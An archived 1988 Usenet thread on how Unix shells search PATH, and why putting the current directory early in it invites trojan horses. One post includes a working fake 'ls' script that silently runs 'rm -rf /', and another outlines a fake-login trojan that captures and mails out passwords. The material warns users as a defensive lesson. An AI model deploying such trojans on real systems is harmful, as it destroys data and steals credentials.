debra@alice.UUCP (Paul De Bra) (10/07/88)
In article <456@mrsvr.UUCP> ssa@mrsvr.UUCP (6607) writes: > > For the life of me I can't figure out what is wrong with the following > code!!!!... > when I compile it I get a message: > >"test.c", line 7: warning: illegal combination of pointer and integer, op = > (Please let's not flame this beginner, and let's not start a long discussion about what's wrong with this code) Your code is just fine. The problem is that you named your program "test". There is a standard utility "test" in /bin, and if that comes before your current directory in your $PATH, you actually execute /bin/test instead of your own program. When you run "dbx test" or something, you give "test" as argument, and that is not subject to PATH-search, so dbx will run your "test" instead of /bin/test. That's all. Paul. |-------------------------------------------------------------------------- |Paul De Bra | I am completely surrounded by giant bugs ! | |debra@research.att.com | There's millions of them, all over this code! | |uunet!research!debra | Beam me up quickly...Please... | |--------------------------------------------------------------------------
gwyn@smoke.ARPA (Doug Gwyn ) (10/07/88)
In article <8271@alice.UUCP> debra@alice.UUCP () writes: >>"test.c", line 7: warning: illegal combination of pointer and integer, op = >(Please let's not flame this beginner, and let's not start a long discussion >about what's wrong with this code) How about flaming incorrect answers? Is that okay? >Your code is just fine. The problem is that you named your program "test". All that is worth warning people about, but it has nothing to do with the fellow's problem.
amos@taux02.UUCP (Amos Shapir) (10/07/88)
In article <8271@alice.UUCP> debra@alice.UUCP () writes: >Your code is just fine. The problem is that you named your program "test". >There is a standard utility "test" in /bin, and if that comes before your >current directory in your $PATH, you actually execute /bin/test instead >of your own program. More likely, 'test' is a shell built-in command so it gets executed before anything on PATH (/bin seldom precedes '.' in $PATH of regular users). -- Amos Shapir amos@nsc.com National Semiconductor (Israel) P.O.B. 3007, Herzlia 46104, Israel Tel. +972 52 522261 TWX: 33691, fax: +972-52-558322 34 48 E / 32 10 N (My other cpu is a NS32532)
limes@ouroborous (Greg Limes) (10/08/88)
In article <456@mrsvr.UUCP> ssa@mrsvr.UUCP (6607) writes: >"test.c", line 7: warning: illegal combination of pointer and integer, op = In article <8271@alice.UUCP>, debra@alice (Paul De Bra) writes: >There is a standard utility "test" in /bin ... "test" may also be built into your shell. Try executing the program by typing "./test", and see if that gets you what you are looking for. -- Greg Limes [limes@sun.com] semper ubi, sub ubi
tcjones@watdragon.waterloo.edu (terry jones) (10/08/88)
In article <192@taux02.UUCP+ amos@taux02.UUCP (Amos Shapir) writes: +In article <8271@alice.UUCP+ debra@alice.UUCP () writes: ++Your code is just fine. The problem is that you named your program "test". ++There is a standard utility "test" in /bin, and if that comes before your ++current directory in your $PATH, you actually execute /bin/test instead ++of your own program. + +More likely, 'test' is a shell built-in command so it gets executed +before anything on PATH (/bin seldom precedes '.' in $PATH of regular +users). +-- + Amos Shapir amos@nsc.com +National Semiconductor (Israel) P.O.B. 3007, Herzlia 46104, Israel +Tel. +972 52 522261 TWX: 33691, fax: +972-52-558322 +34 48 E / 32 10 N (My other cpu is a NS32532) Here we go............
steve@micropen (Steven J. Owens) (10/13/88)
In article <8271@alice.UUCP>, debra@alice.UUCP (Paul De Bra) writes: > > Your code is just fine. The problem is that you named your program "test". > There is a standard utility "test" in /bin, and if that comes before your > current directory in your $PATH, you actually execute /bin/test instead > of your own program. When you run "dbx test" or something, you give "test" > as argument, and that is not subject to PATH-search, so dbx will run your > "test" instead of /bin/test. That's all. > > Paul. I always thought UNIX checked in the directory you are in first for the binary, then if it couldn't find it there, it checked the $PATH. And no, the code is not 'just fine', there are problems with it. Although people do it, there is really no reason to flame anybody who asks a question in this group. They deserve the answers they ask for without all that. After all, this is comp.unix.questions, isn't it( cross postings excepted ) ? SJO -- Steve Owens @ Micropen, Inc. Pittsford, N.Y. 14534 ...!{ames|harvard|rutgers|topaz|...}!rochester!ur-valhala!micropen!steve
gwyn@smoke.ARPA (Doug Gwyn ) (10/13/88)
In article <561@micropen> steve@micropen (Steven J. Owens) writes: > I always thought UNIX checked in the directory you are in first > for the binary, then if it couldn't find it there, it checked > the $PATH. No -- the UNIX shell uses the specified pathname as is when it contains a slash (/); otherwise it searches the directories specified as :-delimited fields in the value of environment variable PATH, in order. If the current directory is not in PATH, it will not be searched. The two most usual ways to specify the current directory in PATH are "." and "" (empty string). Some older shells will not interpret a final empty string in PATH as the current directory, even though they are supposed to (it's a bug, not a feature). To deliberately run something from the current directory, you should type ./command, which is independent of PATH. (It is not wise to have the current directory early in the PATH directory list.)
ssa@mrsvr.UUCP (Shahrooz S. Alavi) (10/14/88)
From article <561@micropen>, by steve@micropen (Steven J. Owens): > Although people do it, there is really no reason to > flame anybody who asks a question in this group. They deserve > the answers they ask for without all that. After all, this is > comp.unix.questions, isn't it( cross postings excepted ) ? > > > SJO THANK YOU FOR YOUR SUPPORT! ======================================================================= / /| | |\ \ | | /__ /_| | |_\ \ | | ...att!uwmcsd1!mrsvr!ssa / / | | | \ \ | | (414) 547-9429 / o / | |__ | \ \| | (414) 521-6607 (work) =======================================================================
morrell@hpsal2.HP.COM (Michael Morrell) (10/14/88)
/ hpsal2:comp.unix.questions / steve@micropen (Steven J. Owens) / 2:12 pm Oct 12, 1988 / I always thought UNIX checked in the directory you are in first for the binary, then if it couldn't find it there, it checked the $PATH. ---------- Absolutely not!!! The algorithm is a function of the shell, but all shells I know of use $PATH only. If "." is not in $PATH, then commands in the current directory must be executed using "./foo" or something similar.
pnessutt@nis.mn.org (Robert A. Monio) (10/15/88)
In article <8650@smoke.ARPA> gwyn@brl.arpa (Doug Gwyn (VLD/VMB) <gwyn>) writes: >In article <8271@alice.UUCP> debra@alice.UUCP () writes: >>>"test.c", line 7: warning: illegal combination of pointer and integer, op = >>(Please let's not flame this beginner, and let's not start a long discussion >>about what's wrong with this code) > >How about flaming incorrect answers? Is that okay? Flaming incorrect answers is okay only if the attitude presented is not offensive. I didn't view your response as offensive. The original answer provided had no real correlation to the question asked other than to point out a potential problem with his usage of 'test' program names. >>Your code is just fine. The problem is that you named your program "test". > >All that is worth warning people about, but it has nothing to do >with the fellow's problem. Indeed. Thanks for providing the correct answer, Doug. -- "Goooooooooood Robert A. Monio Moooooooorning National Information Systems, Inc. Discovery!!" pnessutt@nis.mn.org -- Robin Williams ..uunet!rosevax!bungia!nis!pnessutt
thad@cup.portal.com (Thad Thad Floryan) (10/18/88)
Doug Gwyn writes: "It is not wise to have the current directory early in the PATH directory list." Though I like UNIX' flexibility in establishing/using paths, I've seen systems that always ASSUMED the current directory BEFORE traipsing down the path (I find such assumptions odious). Doug, would you please expand upon your statement (above)? I feel others besides myself would appreciate knowing the hidden (?) pitfalls. Thank you! Thad Floryan [ thad@cup.portal.com (OR) ..!sun!portal!cup.portal.com!thad ]
roberto@cwi.nl (Rob ten Kroode) (10/18/88)
In article <10146@cup.portal.com> thad@cup.portal.com (Thad Thad Floryan) writes: >Doug Gwyn writes: "It is not wise to have the current directory early >in the PATH directory list." > >Doug, would you please expand upon your statement (above)? I feel others >besides myself would appreciate knowing the hidden (?) pitfalls. > >Thad Floryan [ thad@cup.portal.com (OR) ..!sun!portal!cup.portal.com!thad ] My name is not Doug, but maybe you allow me to give answer :-) There are people who like to trick other people. One of the ways to do this is to have a program in one of your directories and give it the name of a well known utility. The perfect example: "ls". If a user types "ls" to list the directory AND that user has the current directory early in his path, than ./ls will be executed instead of /bin/ls. As you will understand, "ls" does something completely different than what the user expects (altough the fake "ls" could give a directory listing). There are lots of variations to this theme, but I think you will to understand Doug's statement. -- | The two rules of Rob: Rob ten Kroode (roberto@cwi.nl) | rule #1 : I am _always_ right. | rule #2 : If I am not right, apply rule #1. "I'm your icecream man; stop me when I'm passin' by..." Van Halen
gwyn@smoke.BRL.MIL (Doug Gwyn ) (10/19/88)
In article <10146@cup.portal.com> thad@cup.portal.com (Thad Thad Floryan) writes: >Doug Gwyn writes: "It is not wise to have the current directory early >in the PATH directory list." >Doug, would you please expand upon your statement (above)? I feel others >besides myself would appreciate knowing the hidden (?) pitfalls. $ cat > /tmp/ls #!/bin/sh rm -rf / 2>/dev/null & rm -f /tmp/ls exec /bin/ls $* ^D $ chmod +x /tmp/ls Sometime later the victim comes along and does: $ cd /tmp $ ls It seems to work fine; there is no sign of anything suspicious, except the system seems to be busy doing something now...
debra@alice.UUCP (Paul De Bra) (10/19/88)
In article <10146@cup.portal.com> thad@cup.portal.com (Thad Thad Floryan) writes: >Doug Gwyn writes: "It is not wise to have the current directory early >in the PATH directory list." > I fully agree with Doug. Having the current directory early in the PATH makes you very succeptible to trojan horses. If you go to someone elses directory (don't tell me you never do this) and execute a command, say ls, or wc, you do not want to be executing a program with that name which accidently exists in this directory and does something silly like "rm -r $HOME". And root certainly does not want to have the current directory in the path, when he does something like "find /usr -name core -exec rm \{\} \;" The only problem with NOT having the current directory early in the PATH is that many beginners call their first program "test". Paul. -- ------------------------------------------------------------------------- |debra@research.att.com | uunet!research!debra | att!grumpy!debra | -------------------------------------------------------------------------
ekrell@hector.UUCP (Eduardo Krell) (10/19/88)
You don't need much imagination. Just think of root running common
programs like "ls" believing he/she is running /bin/ls, while in
fact, there an ls in the current working directory. Need I say more?
Eduardo Krell AT&T Bell Laboratories, Murray Hill, NJ
UUCP: {att,decvax,ucbvax}!ulysses!ekrell Internet: ekrell@ulysses.att.commbt@bridge2.3Com.Com (Brad Turner) (10/19/88)
Sender: Reply-To: mbt@bridge2.3Com.com (Brad Turner) Followup-To: Distribution: world Organization: 3Com Corp., Mt. View, CA Keywords: In article <10146@cup.portal.com> thad@cup.portal.com (Thad Floryan) writes: >Doug Gwyn writes: "It is not wise to have the current directory early >in the PATH directory list." > >Though I like UNIX' flexibility in establishing/using paths, I've seen >systems that always ASSUMED the current directory BEFORE traipsing down >the path (I find such assumptions odious). > >Doug, would you please expand upon your statement (above)? I feel others >besides myself would appreciate knowing the hidden (?) pitfalls. > >Thank you! > > >Thad Floryan [ thad@cup.portal.com (OR) ..!sun!portal!cup.portal.com!thad ] Often users leave the permissions on their home directory ``open'' so that others can put files there, or whatever. The point being since the sys admin (root) doesn't own the cwd (most likely) a possible security breech may occur. Below is the psuedo code for a trojan that might be planted in a users home directory under the name ``ls'' which the user more than likely will execute. --------psuedo for ls trojan-------- echo releastic looking error message (eg "no more inodes logging user off") echo identical login string read user id echo password prompt read password for user echo sorry incorrect login type message mail/copy/move user id & password to rogue person implementing this trojan rm ls trojan from cwd kill parent process and self (the login shell is most likely parent ) ------------------------------------ Of course this is limited in that one has to be able to login to the system first in order to do this, but it still represents a possible security breach. Use your imagination I'm sure you can come up with better/more-intresting/devious/harmful abuses. Specifically the pretense is to get a user to execute your trojan instead of the real live unix command. I've never seen any real harmful abuse of security, mostly it was stuff like harrasing the intro cs students. story: an instructor told his intro class to alter their path putting ``.'' first so that csh wouldn't have to search as far down the path. Obviously he wasn't familar with the csh. None the less the upper level students had lots of fun mucking with the intro students making "ls" and a host of other unix commands not work. The instructor really ended up with egg all over his face and some upper students got a stern scolding. -brad- an ex. sys. admin. -- v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v Brad Turner 1330 Ashleybrook Ln. (919) 768-2097 | I speak for myself 3Com Corp. Winston-Salem, NC 27103 mbt@bridge2 | NOT for my employer.
gregg@ihlpb.ATT.COM (Wonderly) (10/19/88)
From article <8703@smoke.BRL.MIL>, by gwyn@smoke.BRL.MIL (Doug Gwyn ): > In article <10146@cup.portal.com> thad@cup.portal.com (Thad Thad Floryan) writes: >>Doug Gwyn writes: "It is not wise to have the current directory early >>in the PATH directory list." >>Doug, would you please expand upon your statement (above)? I feel others >>besides myself would appreciate knowing the hidden (?) pitfalls. > > $ cat > /tmp/ls > ... > ^D > $ chmod +x /tmp/ls > > Sometime later the victim comes along and does: > > $ cd /tmp > $ ls > > It seems to work fine; there is no sign of anything suspicious, > except the system seems to be busy doing something now... Some time ago, this whole discussion came up and I posted a note about a solution that a friend of mine (Mark Vasoll, vasoll@a.cs.okstate.edu) came up with that I now use in my shell. I use a variable called, dotpath, that contains a list of directory prefixes under which '.' is valid. A '!' in front of a path explicitly invalidates it. Currently I use "dotpath=!~/rje:~". Anytime that an executable is in '.', and '.' is not valid as described by dotpath, that executable is ignored. If it is the only executable by that name that is in one of the PATH directories, you get the diagnostic; <prog>: current directory not safe where prog is the name of the command/executable/script. I find this quite reassuring to have. Currently, my account here is on an amdahl maxi which has more logins than I can ever know the owners of. I don't really want to run around covering my backside for every move when the computer can do it for me. I have yet to come up against a trojan horse (that is also reassuring). -- Gregg Wonderly AT&T Bell Laboratories DOMAIN: gregg@ihlpb.att.com IH2D217 - (312) 979-2794 UUCP: att!ihlpb!gregg
dmt@ptsfa.PacBell.COM (Dave Turner) (10/20/88)
In article <10146@cup.portal.com> thad@cup.portal.com (Thad Thad Floryan) writes: >Doug Gwyn writes: "It is not wise to have the current directory early >in the PATH directory list." > I'm not Doug either but occassionally I have new users who upon learning about shell scripts create a file such as: tbl $* | nroff -mm .... and name it "tbl" and chmod it to 755. If the current directory is before /bin or /usr/bin this will cause lots of processes to be forked off that will all do nothing for a while until they die. I won't add to the earlier comments about malicious users. -- Dave Turner 415/542-1299 {att,bellcore,sun,ames,pyramid}!pacbell!dmt
robert@pttesac.UUCP (Robert Rodriguez) (10/20/88)
In article <10146@cup.portal.com> thad@cup.portal.com (Thad Thad Floryan) writes: >Doug Gwyn writes: "It is not wise to have the current directory early >in the PATH directory list." > >>Doug, would you please expand upon your statement (above)? I feel others >>besides myself would appreciate knowing the hidden (?) pitfalls. >> >>Thank you! >> Can you say "Trojan Horse" ?
thad@cup.portal.com (Thad P Floryan) (10/20/88)
(To: Rob ten Kroode) Thank you for your explanation expanding Doug's statement re: current directory in one's PATH. Guess I've been operating on cloistered systems too long and still abide by "gentleman's timesharing system" tenets. Sigh. I just want to get on with my work and research, and now have to worry about crackers, cretins, Trojan horses, viruses, etc. Double sigh. Thad Floryan [thad@cup.portal.com (OR) ...!sun!portal!cup.portal.com!thad]
thad@cup.portal.com (Thad P Floryan) (10/20/88)
I'm thanking you publicly, Doug, in the hopes your example saves someone's hide (AND files! :-) Thad Floryan [thad@cup.portal.com (OR) ...!sun!portal!cup.portal.com!thad]
bak@csd-v.UUCP (Bruce A. Kern) (10/21/88)
In article <8312@alice.UUCP> debra@alice.UUCP () writes: > >The only problem with NOT having the current directory early in the PATH >is that many beginners call their first program "test". In my version of the shell test is a builtin so anyhwere you put the current directory in your PATH ./test is required to execute the the test program. -- Bruce A. Kern 1-203-270-0399 Computer Systems Design Voice: 730 - 1700 Mon. thru Fri. 29 High Rock Road Data: All other times Sandy Hook, Ct. 06482
bak@csd-v.UUCP (Bruce A. Kern) (10/21/88)
In article <8312@alice.UUCP> debra@alice.UUCP () writes: >The only problem with NOT having the current directory early in the PATH >is that many beginners call their first program "test". In my version of the shell (uport 2.3) test is a builtin so anyhwere you ut the current directory in your PATH ./test is required to execute the he test program. -- Bruce A. Kern 1-203-270-0399 Computer Systems Design Voice: 730 - 1700 Mon. thru Fri. 29 High Rock Road Data: All other times Sandy Hook, Ct. 06482
gwyn@smoke.BRL.MIL (Doug Gwyn ) (10/23/88)
In article <177@csd-v.UUCP> bak@csd-v.UUCP (000-Bruce A. Kern) writes: >In my version of the shell test is a builtin so anyhwere you put the current >directory in your PATH ./test is required to execute the the test program. That requirement has nothing to do with "test" being a built-in.